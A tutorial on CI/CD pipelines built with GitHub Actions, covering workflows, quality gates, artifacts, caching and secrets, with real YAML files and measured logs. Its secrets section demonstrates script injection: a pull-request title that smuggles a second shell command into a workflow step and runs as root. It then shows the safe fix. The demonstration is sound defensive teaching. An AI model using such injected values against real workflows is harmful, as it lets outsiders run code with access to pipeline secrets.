Skip to content
Software Atlas

CI/CD Pipelines

What happens between git push and a running site: workflows, jobs and steps, quality gates, build-once artifacts, caching, secrets, environments and approvals, trunk-based development and fast pipelines — with this site's own deploy.yml as the worked example.

⏱ ~45 min read14 sections6 interactive widgetsYAML · shell · Go
FoundationsPractitionerStaff-level
Foundations§01

The 30-second version

In one sentenceA pipeline is an assembly line for code. Every change you push goes through the same inspection stations in the same order: install, check, test, build, deploy. If any station rejects it, the line stops, and users keep getting the last version that passed.

You've probably pushed code and seen it go live a few minutes later without doing anything else. The thing that did the work in between is the pipeline. This topic opens it up, using the real file that deploys this site.

The name has two halves:

  • CI, continuous integration: every push is built and tested automatically, so mistakes are caught minutes after they're made, while you still remember what you changed.
  • CD, continuous delivery or deployment: every change that passes all the gates is packaged and ready to ship (delivery), or is shipped automatically (deployment). §08 explains the difference.

Try it. Each toggle plants a bug in the commit. Run the pipeline and watch which station catches it, and what happens to production.

Pipeline runner
Plant bugs in commit 3f9c2e1, then push it. Gates run cheapest first; the first failing gate stops the line.
· checkout
~0.5s
→
· install
~3s
→
· check
gate · ~0.4s
→
· test
gate · ~6s
→
· build
gate · ~10s
→
· smoke
gate · ~5s
→
· deploy
~8s
→
🌐 production: v41
previous good version
Press “git push”. With the typo bug on, watch the 0.4-second check stop everything after it.

Three things to notice:

  1. A broken commit never reaches users. The gate fails, every station after it is skipped, and production keeps the previous good version.
  2. Cheap gates go first. The content check takes under a second, so a typo fails fast instead of after a ten-second build.
  3. Without gates, every bug that still compiles ships. Turn on "no gates" and the typo, the wrong price and the crashing page go straight to users. (A missing file still stops the line, because there's nothing to deploy if the build fails.) That's what deploying from a laptop with npm run build && upload amounts to.

What you'll learn

  • How a GitHub Actions file is put together (§02), read line by line on this site's real deploy.yml (§03).
  • How a gate decides pass or fail, and which gates to have (§04).
  • Why you build once and ship that same artifact everywhere (§05), and how caching makes it fast (§06).
  • How secrets, environments and approvals keep production safe (§07–§08).
  • How teams work so the pipeline stays green: trunk-based development, monorepos, speed (§09–§11).
  • What a staff engineer looks for in a pipeline, and what's wrong with this site's own (§12).
Foundations§02

Workflows, jobs and steps

In one sentenceA trigger starts a workflow; a workflow has jobs; each job runs its steps top to bottom on a fresh machine called a runner.

Every CI system (GitHub Actions, GitLab CI, CircleCI, Jenkins) uses the same few ideas with slightly different names. We'll use GitHub Actions, because that's what this site runs on.

WordWhat it isIn the factory picture
TriggerThe event that starts a run: a push, a Pull request, a button pressThe order that starts a car down the line
WorkflowOne YAML file in .github/workflows/The whole factory line
JobA list of steps that runs on one machineOne workshop along the line
StepOne command (run:) or one ready-made action (uses:)One task inside the workshop
RunnerThe machine a job runs on, usually a fresh Virtual machineThe workshop building itself

Other systems say stage for a group of jobs that run together ("test stage", "deploy stage"). GitHub Actions has no separate word for it; you get stages by making jobs wait for each other with needs:.

The smallest useful workflow

Here's a complete workflow for a Go project. Save it as .github/workflows/ci.yml, push, and GitHub runs it.

.github/workflows/ci.yml
name: CI

on:                          # the trigger(s)
  push:
    branches: [main]
  pull_request:              # any PR, any target branch

jobs:
  test:                      # a job id you choose
    runs-on: ubuntu-latest   # ← ask for a fresh Linux machine
    steps:
      - uses: actions/checkout@v7      # step 1: get the code
      - uses: actions/setup-go@v7      # step 2: install Go
        with:
          go-version: "1.26"
      - run: go vet ./...              # step 3: a quick check
      - run: go test ./...             # step 4: the tests

What GitHub does with it, in order:

  1. Someone pushes to main or opens a PR. That matches on:, so a run of this workflow starts.
  2. GitHub starts a brand-new Ubuntu machine for the job test. It has git, Docker, Node and a lot of common tools, but not your code.
  3. The steps run top to bottom. actions/checkout@v7 is someone else's packaged step that clones your repo at the pushed commit. actions/setup-go@v7 installs Go. Then two plain shell commands.
  4. If every step succeeds, the run gets a green check. If one fails, the remaining steps are skipped and the run is red.
  5. The machine is deleted. Nothing you installed or built survives, unless you explicitly save it (§05, §06).

Jobs run in parallel; steps run in order

A workflow can have several jobs. By default they all start at once, each on its own machine. To make one wait for another, add needs::

jobs:
  lint:
    runs-on: ubuntu-latest
    steps: [...]
  test:
    runs-on: ubuntu-latest
    steps: [...]
  deploy:
    needs: [lint, test]      # ← starts only after both passed
    runs-on: ubuntu-latest
    steps: [...]

(steps: [...] stands for "steps omitted here"; it isn't real syntax.)

One workflow run, three jobs, three machines
job: lint1. checkout2. npm ci3. npm run lint🖴 runner A's diskjob: test1. checkout2. npm ci3. npm test🖴 runner B's diskjob: deploy1. checkout2. npm ci3. build + deploy🖴 runner C's diskneeds: [lint, test]steps in a job share one disk · jobs never share disks
lint and test start at the same time on separate machines. deploy waits for both (needs: [lint, test]) and starts on a third, empty machine: it can't see either disk.

The one thing to remember from this picture: steps in the same job share a disk; separate jobs don't. If build makes a dist/ folder, a later step in build can use it, but the deploy job runs on a different machine and sees nothing. Passing files between jobs needs an artifact, which is the subject of §05.

Foundations§03

Reading this site's deploy.yml

In one sentenceThis site deploys itself with one 60-line file. Reading it top to bottom teaches you triggers, concurrency, secrets, a quality gate, step outputs and conditional steps: most of what real pipelines use.

Vercel is the hosting service that serves this site. Its command-line tool, vercel, does three things in this file: pull the project's settings, build the site, and deploy (upload) the build.

Here is the file exactly as it is in the repository (.github/workflows/deploy.yml). Don't try to understand it all yet; the walkthrough below goes through it piece by piece.

.github/workflows/deploy.yml (the real file)
# Deploys the site to Vercel production on every push to main.
# Needs three repository secrets: VERCEL_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID (see README → Deploy).
name: Deploy to Vercel

on:
  push:
    branches: [main]
  workflow_dispatch: # allow manual runs from the Actions tab / `gh workflow run deploy.yml`

concurrency:
  group: vercel-production
  cancel-in-progress: true # a newer push supersedes an in-flight deploy

env:
  VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
  VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v5

      - uses: actions/setup-node@v5
        with:
          node-version: 22
          cache: npm

      - run: npm ci

      # Quality gate: glossary keys, duplicate terms, section metadata, § references.
      - run: npm run check

      - name: Check Vercel secrets
        id: secrets
        run: |
          if [ -z "${{ secrets.VERCEL_TOKEN }}" ] || [ -z "${{ secrets.VERCEL_ORG_ID }}" ] || [ -z "${{ secrets.VERCEL_PROJECT_ID }}" ]; then
            echo "::warning::Vercel secrets are not set — skipping deploy. See README → Deploy."
            echo "ok=false" >> "$GITHUB_OUTPUT"
          else
            echo "ok=true" >> "$GITHUB_OUTPUT"
          fi

      - name: Install Vercel CLI
        if: steps.secrets.outputs.ok == 'true'
        run: npm install --global vercel@latest

      - name: Pull Vercel project settings
        if: steps.secrets.outputs.ok == 'true'
        run: vercel pull --yes --environment=production --token=${{ secrets.VERCEL_TOKEN }}

      - name: Build
        if: steps.secrets.outputs.ok == 'true'
        run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }}

      - name: Deploy
        if: steps.secrets.outputs.ok == 'true'
        run: |
          url=$(vercel deploy --prebuilt --prod --token=${{ secrets.VERCEL_TOKEN }})
          echo "Deployed to $url"
          echo "### 🚀 Deployed: $url" >> "$GITHUB_STEP_SUMMARY"

A few pieces of syntax show up that §02 didn't have:

Two blocks near the top apply to the whole workflow, not to one step:

  • env: at the top level sets environment variables for every step of every job. Here it gives the Vercel CLI the IDs of the account and project to deploy to. (env: can also sit on a job or on a single step, which limits who sees it; §07 uses that for secrets.)
  • concurrency: puts every run of this workflow into a Concurrency group named vercel-production. Only one run per group can be active at a time. With cancel-in-progress: true, a new push cancels a deploy that is still running, so the newest commit wins instead of two deploys racing each other. (Whether cancelling a deploy halfway is wise is a §12 topic.)

Now step through a run. Flip the toggle to compare a repository with the Vercel secrets set (the real one) and a fork without them.

deploy.yml, one step at a time
Comments removed and long lines shortened with …; otherwise the real file.
Code
1on:
2 push:
3 branches: [main]
4 workflow_dispatch:
5concurrency:
6 group: vercel-production
7 cancel-in-progress: true
8env:
9 VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
10 VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
11jobs:
12 deploy:
13 runs-on: ubuntu-latest
14 steps:
15 - uses: actions/checkout@v5
16 - uses: actions/setup-node@v5
17 with:
18 node-version: 22
19 cache: npm
20 - run: npm ci
21 - run: npm run check
22 - name: Check Vercel secrets
23 id: secrets
24 run: |
25 if [ -z "${{ secrets.VERCEL_TOKEN }}" ] || …; then
26 echo "::warning::Vercel secrets are not set — skipping deploy."
27 echo "ok=false" >> "$GITHUB_OUTPUT"
28 else
29 echo "ok=true" >> "$GITHUB_OUTPUT"
30 fi
31 - name: Install Vercel CLI
32 if: steps.secrets.outputs.ok == 'true'
33 run: npm install --global vercel@latest
34 - name: Pull Vercel project settings
35 if: steps.secrets.outputs.ok == 'true'
36 run: vercel pull --yes --environment=production --token=…
37 - name: Build
38 if: steps.secrets.outputs.ok == 'true'
39 run: vercel build --prod --token=…
40 - name: Deploy
41 if: steps.secrets.outputs.ok == 'true'
42 run: |
43 url=$(vercel deploy --prebuilt --prod --token=…)
44 echo "### 🚀 Deployed: $url" >> "$GITHUB_STEP_SUMMARY"
GitHub
push to main
runner (the VM)
not started yet
env & step outputs
—
step results
—
Someone merges a PR, which is a push to main. That matches on:, so GitHub starts a run of this workflow. workflow_dispatch also allows starting it by hand from the Actions tab.
1 / 13

What the file gets right

  • The gate comes before anything irreversible. npm run check runs before the build and the deploy. If it fails, the deploy steps never run.
  • It deploys exactly once per push. vercel.json turns off Vercel's own "deploy every git push" feature ("git": { "deploymentEnabled": false }), so the workflow is the only way code reaches production, and only after the gate.
  • Forks don't fail noisily. Someone who forks the repo has no Vercel secrets. The "Check Vercel secrets" step notices, prints a warning and skips the deploy instead of failing with a confusing error.
  • npm ci, not npm install. npm ci installs exactly what package-lock.json (the Lockfile) lists and fails if it doesn't match package.json, so CI never quietly upgrades a library.
  • cache: npm saves npm's download cache between runs. §06 shows the effect.

It also has gaps, the most important being that nothing runs on pull requests: a PR is never checked until after it's merged. §04 fixes that, and §12 reviews the rest.

Running it on a laptop

You don't have to push to find out whether a workflow works. act reads the same YAML and runs each job in a Docker container on your machine. Here's this exact file, run on the test machine against a fresh clone of the repo (output trimmed; the full log is ~70 lines):

act workflow_dispatch -W .github/workflows/deploy.yml (measured on this machine)
$ act workflow_dispatch -W .github/workflows/deploy.yml \
    -P ubuntu-latest=node:22-bookworm-slim
[Deploy to Vercel/deploy] ⭐ Run Main actions/checkout@v5
[Deploy to Vercel/deploy]   ✅  Success - Main actions/checkout@v5 [493ms]
[Deploy to Vercel/deploy] ⭐ Run Main actions/setup-node@v5
[Deploy to Vercel/deploy]   | npm cache is not found
[Deploy to Vercel/deploy]   ✅  Success - Main actions/setup-node@v5 [10.8s]
[Deploy to Vercel/deploy] ⭐ Run Main npm ci
[Deploy to Vercel/deploy]   | added 177 packages, and audited 178 packages in 3s
[Deploy to Vercel/deploy]   ✅  Success - Main npm ci [3.2s]
[Deploy to Vercel/deploy] ⭐ Run Main npm run check
[Deploy to Vercel/deploy]   | ✓ content OK — 79 topics, 2627 glossary terms, 88 catalog items, 4 roadmap tracks
[Deploy to Vercel/deploy]   ✅  Success - Main npm run check [420ms]
[Deploy to Vercel/deploy] ⭐ Run Main Check Vercel secrets
[Deploy to Vercel/deploy]   🚧  ::warning::Vercel secrets are not set — skipping deploy. See README → Deploy.
[Deploy to Vercel/deploy]   ⚙  ::set-output:: ok=false
[Deploy to Vercel/deploy]   ✅  Success - Main Check Vercel secrets [190ms]
[Deploy to Vercel/deploy] ⭐ Run Post actions/setup-node@v5
[Deploy to Vercel/deploy]   | Cache saved with the key: node-cache-Linux-x64-npm-15726ef760f4…
[Deploy to Vercel/deploy] 🏁  Job succeeded

Reading the command and the log: workflow_dispatch is the event act pretends happened (the manual-run trigger), -W picks the workflow file, and -P ubuntu-latest=… tells act which Docker image should stand in for GitHub's ubuntu-latest machine. The ⚙ ::set-output:: ok=false line is just how act displays a step output; the file itself writes to $GITHUB_OUTPUT as shown above.

The laptop has no Vercel secrets, so this is exactly the "fork" path from the stepper: the gate ran and passed, ok=false was written to $GITHUB_OUTPUT, and the four Vercel steps were skipped. (The numbers and topic counts are from the day it was run.)

Practitioner§04

Quality gates: exit codes decide

In one sentenceA gate is just a command. If it exits with code 0, the change moves on; any other Exit code stops the line. Everything else (lint, tests, builds, scans) is a choice of which commands to run and when.

How a step decides "failed"

Every program returns a number when it finishes: 0 for success, anything else for failure. go test returns 1 when a test fails; npm run check returns 1 when it finds a problem. The CI system doesn't read the output at all. It only looks at that number.

A run: step is a small shell script. On Linux runners, GitHub runs it with bash -e, where -e means stop at the first command that fails:

measured on this machine
$ bash -e -c 'echo one; false; echo two'; echo "exit=$?"
one
exit=1

false is a command that does nothing except fail. two never prints, and the script's exit code is 1, so the step is marked failed and the steps after it are skipped. $? is the shell's variable for "exit code of the last command".

Here's what that looks like for real. This is the same deploy.yml from §03, run with act after planting a misspelled glossary key (pipline instead of a real key) in one page:

act, with a broken glossary key (measured on this machine)
[Deploy to Vercel/deploy] ⭐ Run Main npm run check
[Deploy to Vercel/deploy]   | ✗ 1 problem(s):
[Deploy to Vercel/deploy]   |   topics/caching/sections/01-tldr.mdx: <Term t="pipline"> has no glossary entry
[Deploy to Vercel/deploy]   ❌  Failure - Main npm run check [566ms]
[Deploy to Vercel/deploy] exitcode '1': failure
[Deploy to Vercel/deploy] 🏁  Job failed

No "Check Vercel secrets", no build, no deploy: the line stopped at the gate, and production kept the previous version.

Trap

A pipe can hide a failure

bash -e only looks at the last command of a pipeline (a | b). This step passes even when the tests fail, because tee (which copies output into a file) succeeded:

measured on this machine
$ bash -e -c 'false | tee /dev/null; echo "still running"'; echo "exit=$?"
still running
exit=0
$ bash -eo pipefail -c 'false | tee /dev/null; echo "still running"'; echo "exit=$?"
exit=1

-o pipefail makes a pipeline fail if any part fails. In GitHub Actions, writing shell: bash on a step (or under defaults.run.shell) switches it on; the implicit default doesn't. So go test ./... | tee test.log needs shell: bash, or the gate is decorative.

Which gates to have

Start with these, roughly in this order. Each one catches a different kind of mistake.

GateCatchesGoJavaScript
FormatUnformatted code, noisy diffstest -z "$(gofmt -l .)"npx prettier --check .
Lint / vetLikely bugs, found without running the code (a Linter)go vet ./...npx eslint .
Type checkWrong types passed around(the compiler does it in go build)npx tsc --noEmit
Unit testsLogic bugs in one functiongo test -race ./...npx vitest run
BuildCode that doesn't compile or bundlego build ./...npm run build
Integration testsCode that breaks against a real databasewith a Service container, see Integration Testing: Running in CIsame
Smoke test / E2EA build that compiles but crashes on loadstart the binary, curl itagainst a Preview build, see E2E Testing: Running in CI

test -z "$(gofmt -l .)" reads inside out: gofmt -l . lists files that aren't formatted, $( ) captures that list as text, and test -z succeeds only if the text is empty. -race turns on Go's race detector, which catches two goroutines touching the same memory unsafely. This site's own gate, npm run check, is a custom one: it checks glossary keys, section metadata and § references, things no generic tool knows about. Custom gates for your project's own rules are normal and valuable.

Fail fast: cheap gates first

The order matters because a pipeline stops at the first failure. Put the gates that are fast and most likely to fail first:

Same commit (one typo), two gate orders
Slowest first: e2e → build → unit → check
pipeline
e2e 8 min ✓
build 3 min ✓
unit ✓
✗
Cheapest first: check → unit → build → e2e
pipeline
✗
Cheapest first, commit without bugs: the full run is just as long, only the order changed
pipeline
unit ✓
build 3 min ✓
e2e 8 min ✓
Width is time. With the slow gates first, the typo is reported after about 12 minutes; with the cheapest gate first, after about a second, and nothing after it runs. Illustrative timings.

A typo caught by a 1-second check costs 1 second of waiting. The same typo caught after an 8-minute E2E suite costs 8 minutes, and the developer has moved on to something else by then. (Gates that don't depend on each other can also run in parallel as separate jobs; §11 covers that.)

The gap in this site's pipeline: nothing runs on pull requests

deploy.yml triggers on push to main only. So a pull request with a broken glossary key looks fine, gets merged, and then the gate fails, on main, where everyone's next deploy is now blocked until someone fixes it. The gate protected production but not the team.

The fix is a second workflow that runs the same gates on every PR, before the merge button is even clickable:

.github/workflows/ci.yml (proposed)
name: CI

on:
  pull_request:
  push:
    branches: [main]

permissions:
  contents: read              # the job's token may read the repo, nothing more (§07)

concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}   # cancel old runs on PRs only

jobs:
  check:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm run check            # gate 1: content rules

  build:
    needs: check                      # only starts if check passed
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm run build            # gate 2: does it build?
      - uses: actions/upload-artifact@v7
        with:
          name: site
          path: dist/
          retention-days: 7

  smoke:
    needs: build
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - uses: actions/download-artifact@v8
        with:
          name: site                  # the exact files the build job made
          path: dist/
      - run: |
          npx vite preview --port 4173 --strictPort &
          timeout 30 bash -c 'until curl -sf http://127.0.0.1:4173/ > /dev/null; do sleep 1; done'
          npm run smoke -- / http://127.0.0.1:4173   # gate 3: the built site renders

This file was checked with actionlint (no findings) and run with act: check and build passed, and the artifact's SHA-256 fingerprint on download matched the one on upload. Two honest caveats: act's artifact server needed the older @v4 artifact actions (see §03), and the act container had no Chrome, so the last line was swapped for a plain HTTP request, which returned 200. The npm run smoke -- / <url> command itself was run separately against vite preview and passed.

Make the check required

A red check that people can merge past anyway is only advice. In the repository settings, add a branch protection rule (or a ruleset) for main that lists check, build and smoke as required status checks. Now the merge button stays grey until all three are green. That's the moment CI becomes a real gate instead of a dashboard.

Practitioner§05

Build once, deploy many

In one sentenceBuild one artifact per commit, run your gates against it, and deploy that same artifact to Staging environment and then production. If you rebuild for production, you ship something nobody tested.

How a rebuild drifts

"Same source code" doesn't mean "same output". A build also reads things that change on their own:

  • Version ranges. package.json says "vite": "^8.3.5", which allows any 8.x at or above 8.3.5. Without a lockfile and npm ci, a rebuild an hour later can pick up a new release.
  • Moving tags. npm install --global vercel@latest (in this site's deploy.yml) installs whatever is newest at that moment. A Docker FROM node:22 gets a different image every time 22 is re-tagged.
  • The environment itself. A different runner image, a different time zone, a variable set in one environment but not another.

Play with it. Rebuild per environment and let a dependency release happen in between; then try promoting one artifact.

Build once vs rebuild per environment
Same commit, two strategies. The fingerprint is a stand-in for the artifact's real SHA-256.
staging
nothing deployed yet
build again →
production
nothing deployed yet
newest chartlib on npm right now: 2.4.0
Click 1, then 2, then 3. Then switch the mode at the top and do it again.

In "build once" mode the production artifact has the same fingerprint as the one you tested; the late release can't sneak in, because production never builds anything. Moving an existing artifact to the next environment is called promotion.

Artifacts within one run

Inside a single workflow run, jobs pass files with two actions you saw in §04:

# in the build job
- uses: actions/upload-artifact@v7
  with:
    name: site
    path: dist/
    retention-days: 7      # default is 90 days; old builds pile up

# in a later job (any machine)
- uses: actions/download-artifact@v8
  with:
    name: site
    path: dist/

GitHub stores the folder as a zip and records its SHA-256 fingerprint. When ci.yml from §04 ran under act, the upload and the download reported the same fingerprint (151c094e…), which is the proof that the smoke job tested exactly what the build job made.

Artifacts across environments: images tagged with the commit

For a server, the artifact is usually a Container image pushed to a Container registry. Two rules make promotion work:

  1. Name it after the commit. Tag the image with the git commit's SHA (its unique ID, like 3f9c2e1…), not latest. Then "what's running in production?" has an exact answer you can git checkout.
  2. Keep configuration out of the artifact. Anything that differs between staging and production (database URL, feature settings, the environment's name) is read at start-up from environment variables or files, never baked in at build time.

Here's a tiny service that follows both rules. The version is stamped in at build time; the environment name is read when it runs:

main.go
package main

import (
	"fmt"
	"log"
	"net/http"
	"os"
)

// version is baked in by the build: go build -ldflags "-X main.version=<commit sha>"
var version = "dev"

func versionHandler(w http.ResponseWriter, r *http.Request) {
	env := os.Getenv("APP_ENV") // ← config comes from the environment, not the build
	fmt.Fprintf(w, "version=%s env=%s\n", version, env)
}

func main() {
	http.HandleFunc("/version", versionHandler)
	log.Fatal(http.ListenAndServe(":8080", nil))
}

Built once, then started twice with different settings. The Dockerfile is four lines, because the binary was already built (and tested) by an earlier step; Containers covers writing real ones:

Dockerfile
FROM gcr.io/distroless/static-debian12:nonroot
COPY hello /hello
EXPOSE 8080
ENTRYPOINT ["/hello"]

FROM picks a tiny base image with no shell, COPY puts the binary in, EXPOSE documents the port, and ENTRYPOINT is the command the container runs. In the commands below, --format '{{.Repository}}:{{.Tag}} {{.ID}}' is Docker's own template syntax for choosing output columns; it looks like a GitHub expression but has nothing to do with one.

one image, two environments (measured on this machine; image name shortened, container IDs omitted)
$ CGO_ENABLED=0 go build -trimpath -ldflags "-X main.version=3f9c2e1" -o hello .
$ docker build -q -t hello:3f9c2e1 .
sha256:be3be982b83f4c7a4a5d2e02873a43a0e3ba79be15643565743a5962bbb0ea45
$ docker tag hello:3f9c2e1 hello:production     # promotion = a new name, same image
$ docker image ls --format '{{.Repository}}:{{.Tag}} {{.ID}}' hello
hello:3f9c2e1 be3be982b83f
hello:production be3be982b83f
$ docker run -d -e APP_ENV=staging    -p 18081:8080 hello:3f9c2e1
$ docker run -d -e APP_ENV=production -p 18082:8080 hello:production
$ curl -s localhost:18081/version
version=3f9c2e1 env=staging
$ curl -s localhost:18082/version
version=3f9c2e1 env=production

Same image ID, same version, different configuration. Tagging didn't copy or rebuild anything; it added a second name.

The whole thing as a pipeline

.github/workflows/hello-service.yml
name: hello-service

on:
  pull_request:
  push:
    branches: [main]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with:
          go-version-file: go.mod       # use the Go version go.mod asks for
      - run: go vet ./...
      - run: go test -race ./...

  build:
    needs: test
    if: github.ref == 'refs/heads/main'   # PRs stop after the tests
    runs-on: ubuntu-latest
    timeout-minutes: 10
    permissions:
      contents: read
      packages: write                     # allowed to push to ghcr.io
    outputs:
      image: ${{ steps.push.outputs.image }}
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-go@v7
        with:
          go-version-file: go.mod
      - run: CGO_ENABLED=0 go build -trimpath -ldflags "-X main.version=${GITHUB_SHA::7}" -o hello .
      - id: push
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          image="ghcr.io/${GITHUB_REPOSITORY,,}:${GITHUB_SHA}"   # ,, = lowercase
          echo "$GH_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin
          docker build -t "$image" .
          docker push "$image"
          digest=$(docker inspect --format '{{index .RepoDigests 0}}' "$image")
          echo "image=$digest" >> "$GITHUB_OUTPUT"

  deploy-staging:
    needs: build
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - uses: actions/checkout@v7
      - env:
          IMAGE: ${{ needs.build.outputs.image }}
        run: ./deploy.sh staging "$IMAGE"

  deploy-production:
    needs: [build, deploy-staging]
    runs-on: ubuntu-latest
    environment: production               # pauses for approval if this environment requires reviewers (§08)
    steps:
      - uses: actions/checkout@v7
      - env:
          IMAGE: ${{ needs.build.outputs.image }}
        run: ./deploy.sh production "$IMAGE"

The test job runs on every PR; the build and the two deploys only run on main. Production gets the exact digest staging ran. (This workflow passes actionlint; it wasn't run against a real registry.)

Reproducible builds: a nice check, not a substitute

A Reproducible build produces identical bytes from the same source. Both builds in this topic are, measured on this machine:

measured on this machine
$ npx vite build && (cd dist && find . -type f | sort | xargs sha256sum | sha256sum)
ee614889ae0a6e767b468b887841dec88131221e0149b9b5e133a344c938ab49  -
$ rm -rf dist && npx vite build && (cd dist && find . -type f | sort | xargs sha256sum | sha256sum)
ee614889ae0a6e767b468b887841dec88131221e0149b9b5e133a344c938ab49  -

$ CGO_ENABLED=0 go build -trimpath -ldflags "-X main.version=3f9c2e1" -o hello . && sha256sum hello
c3df393351199765e3220e94f30a55470a056faf1221a9621d37980fb9ff19e1  hello
$ rm hello && CGO_ENABLED=0 go build -trimpath -ldflags "-X main.version=3f9c2e1" -o hello . && sha256sum hello
c3df393351199765e3220e94f30a55470a056faf1221a9621d37980fb9ff19e1  hello

(The first command fingerprints every file in dist/ and then fingerprints that list, giving one hash for the whole folder. -trimpath stops Go from embedding your machine's folder paths in the binary.)

That's reassuring: it means a rebuild today, on this machine, with this lockfile gives the same site. It doesn't protect you from tomorrow's vercel@latest or a re-tagged base image. Reproducibility lets you verify an artifact; build-once means you don't have to.

Practitioner§06

Caching dependencies

In one sentenceEvery job starts on an empty machine, so without help it downloads every dependency every time. A CI cache saves those downloads under a key built from the lockfile's hash: same lockfile, same key, files restored instead of downloaded.

This is the same idea as any Cache key in Caching: the key must change whenever the cached content would. For dependencies, the thing that decides the content is the Lockfile (package-lock.json, go.sum), so the key is a fingerprint of that file.

What cache: npm actually does

This site's deploy.yml has two words, cache: npm, under setup-node. Here's what they did in the act runs from §03, first with an empty cache, then again:

first run vs second run (measured on this machine)
# run 1
  | npm cache is not found
  | added 177 packages, and audited 178 packages in 3s
  ✅  Success - Main npm ci [3.2s]
  | Cache saved with the key: node-cache-Linux-x64-npm-15726ef760f40e7cc66b82e6f56033de5a1826c9ea21190933d95974414556d5

# run 2
  | Cache restored from key: node-cache-linux-x64-npm-15726ef760f40e7cc66b82e6f56033de5a1826c9ea21190933d95974414556d5
  ✅  Success - Main npm ci [1.7s]
  1. Before npm ci, the action computes the key and asks the cache service for it. Run 1: nothing there.
  2. npm ci downloads 177 packages into npm's own cache folder (~/.npm) and installs them.
  3. After the job, a post step (cleanup code the action registers to run after all your steps) zips ~/.npm (about 24 MB here) and saves it under the key.
  4. Run 2: the key matches, the zip is restored, and npm ci copies packages from disk instead of the network. (The restored key prints as linux instead of Linux because act's local cache server stores keys in lowercase. GitHub's real cache keeps them exactly as written; it's the same entry either way.)

Here the gain is small (3.2 s → 1.7 s) because the project is small and the registry is close. On a big app with slow downloads, the same change often saves a minute or more per job; treat that as a rough figure and measure your own.

That long hex string is hashFiles('package-lock.json'). GitHub computes it by taking the SHA-256 of each matching file and then the SHA-256 of those results. You can check it yourself:

measured on this machine
$ node -e 'const c=require("crypto"),f=require("fs");
  const d=c.createHash("sha256").update(f.readFileSync("package-lock.json")).digest();
  console.log(c.createHash("sha256").update(d).digest("hex"))'
15726ef760f40e7cc66b82e6f56033de5a1826c9ea21190933d95974414556d5

Exactly the suffix of the key. Change one byte of the lockfile and the key is completely different.

Cache keys, hit or miss
The key is a prefix plus a fingerprint of package-lock.json. Change things, push, and see what the cache does.
your commit
src/App.jsx edited 0×
package-lock.json (5 deps: react, react-dom, react-router, vite, tailwindcss)
key = node-cache-Linux-x64-npm-47c54d0e0198
node-cache-Linux-x64-npm-… + hashFiles('package-lock.json') (shortened)
cache storage0 entries
empty: nothing saved yet
Run once (miss), run again (hit), edit App.jsx and run (still a hit: the lockfile didn't change), then add a dependency and run.
Hit and miss times are the act measurements from this page (1.7 s vs 3.2 s, small project). The partial time is illustrative.

Writing your own cache step

setup-node (cache: npm) and setup-go (on by default, keyed on go.sum, covering both downloaded modules and Go's compile cache) handle the common cases. For anything else, use actions/cache directly. Playwright's browsers, for example, take a few hundred MB and depend on the Playwright version in the lockfile:

- uses: actions/cache@v6
  with:
    path: ~/.cache/ms-playwright
    key: ${{ runner.os }}-playwright-${{ hashFiles('package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-playwright-
- run: npx playwright install --with-deps chromium

Cache or artifact?

They look similar (both save files between machines) but answer different questions:

CacheArtifact
PurposeMake things fasterPass results along
If it's missingThe job is slower, still correctThe job can't do its work
Shared betweenRuns (across days)Jobs of one run (downloadable after)
Typical content~/.npm, Go module cache, browsersdist/, a binary, a test report

The rule: a job must be correct with an empty cache. Never use a cache to hand a build output to the deploy job; if the entry is evicted, you'd silently deploy something else, or nothing.

Practitioner§07

Secrets and permissions in a pipeline

In one sentenceYour pipeline holds the keys to production, so treat it like production. Three habits cover most of the risk: pass values into scripts through env:, give the job's token only the permissions it needs, and pin third-party actions to an exact commit.

The basics of CI secrets (masking in logs, why forks don't get secrets, the pull_request_target trap, and short-lived cloud credentials with OIDC) are covered in Secrets Management: Secrets in CI/CD. This section is about how the workflow file itself can leak or misuse them.

${{ }} is pasted in before the shell runs

§03 said GitHub replaces ${{ … }} with its value before running the step. That means the value becomes part of the script text. If the value comes from someone outside your team, such as a pull request's title, they get to write part of your script.

Here's a real demonstration. The workflow greets a PR by its title, once unsafely and once safely:

.github/workflows/title-check.yml
on: pull_request
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Unsafe
        run: echo "Checking PR - ${{ github.event.pull_request.title }}"
      - name: Safe
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: echo "Checking PR - $TITLE"

Run with act, with a PR whose title is Fix typo"; echo "INJECTED as $(whoami):

act pull_request -e event.json (measured on this machine)
[title-check/greet] ⭐ Run Main Unsafe
[title-check/greet]   | Checking PR - Fix typo
[title-check/greet]   | INJECTED as root
[title-check/greet] ⭐ Run Main Safe
[title-check/greet]   | Checking PR - Fix typo"; echo "INJECTED as $(whoami)

Step through what happened, in both versions:

How ${{ }} becomes code
What GitHub and bash do with a hostile PR title, step by step.
Code
1- name: Unsafe
2 run: echo "Checking PR - ${{ github.event.pull_request.title }}"
PR title (typed by anyone)
Fix typo"; echo "INJECTED as $(whoami)
script text bash receives
—
environment variables
none used
commands bash runs
—
log output
—
A stranger opens a PR with this title. The step pastes ${{ github.event.pull_request.title }} into its run: line.
1 / 4

